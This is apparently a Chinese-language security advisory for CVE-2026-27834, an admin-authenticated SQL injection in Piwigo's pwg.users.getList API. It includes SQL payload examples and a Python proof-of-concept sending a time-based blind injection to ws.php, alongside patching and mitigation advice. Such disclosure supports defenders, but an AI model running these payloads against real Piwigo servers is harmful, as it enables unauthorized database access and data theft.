IPBUF安全漏洞报告
English
CVE-2026-27834 CVSS 7.2 高危

CVE-2026-27834 Piwigo SQL注入漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-27834
漏洞类型
SQL注入
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Piwigo

相关标签

SQL注入PiwigoWeb安全CVE-2026-27834远程代码执行

漏洞概述

Piwigo是一款广泛使用的开源照片库应用程序。在16.3.0版本之前,其`pwg.users.getList` Web Service API方法中存在严重的SQL注入安全漏洞。由于未对`filter`参数进行适当的清理,具有管理员权限的认证攻击者可将恶意SQL代码注入查询中,从而执行任意SQL命令。该漏洞可能导致敏感数据泄露、数据完整性受损及系统可用性下降。官方已在16.3.0版本中修复此问题,建议用户立即更新。

技术细节

该漏洞的根本原因在于`pwg.users.getList` API端点未能正确过滤用户输入。在处理请求时,后端代码将`filter`参数的值直接拼接到SQL查询字符串中,未使用参数化查询或严格的输入验证机制。尽管CVSS向量显示攻击需要高权限(PR:H),即攻击者必须拥有管理员账户,但一旦满足此条件,攻击者即可利用该漏洞执行任意SQL语句。利用方式通常包括通过构造恶意的`filter`值(如包含`' OR '1'='1`或`UNION SELECT`语句的载荷),绕过原有查询逻辑,读取敏感数据(如用户凭证、相册信息),甚至通过特定的数据库存储过程在服务器上执行系统命令,从而完全控制数据库服务器。

攻击链分析

STEP 1
获取权限
攻击者首先需要获取Piwigo应用程序的管理员账户凭证,因为该漏洞需要高权限(PR:H)才能利用。
STEP 2
构造载荷
攻击者分析API参数,针对`pwg.users.getList`接口的`filter`参数构造恶意SQL注入载荷(如UNION查询或布尔盲注)。
STEP 3
发送请求
攻击者使用管理员Cookie向服务器发送包含恶意`filter`参数的POST请求。
STEP 4
执行攻击
后端服务器将未过滤的参数拼接到SQL语句中并执行,攻击者借此读取数据库敏感信息或执行破坏性操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL # Replace with the actual domain of the vulnerable Piwigo instance target_url = "http://localhost/piwigo/ws.php" # Malicious payload for the 'filter' parameter # This payload uses a time-based blind SQL injection technique # It attempts to make the database sleep for 5 seconds if the query is successful payload = "1' AND SLEEP(5)-- " # Valid authentication cookies are required (Admin privileges) # Replace 'YOUR_ADMIN_SESSION_COOKIE' with a valid session ID cookies = { "pwg_id": "YOUR_ADMIN_SESSION_COOKIE" } # POST data structure for the Web Service API data = { "method": "pwg.users.getList", "filter": payload } try: # Sending the POST request to the vulnerable endpoint response = requests.post(target_url, data=data, cookies=cookies, timeout=10) # Analyze the response time or content to confirm vulnerability if response.elapsed.total_seconds() >= 5: print("[+] Potential SQL Injection vulnerability confirmed!") print(f"[+] Response time: {response.elapsed.total_seconds()} seconds") else: print("[-] Vulnerability not detected or payload failed.") except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

Piwigo < 16.3.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用Web Service API功能或严格限制`ws.php`的访问IP白名单。同时,应加强管理员账户的安全审计,监控是否存在异常的API调用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表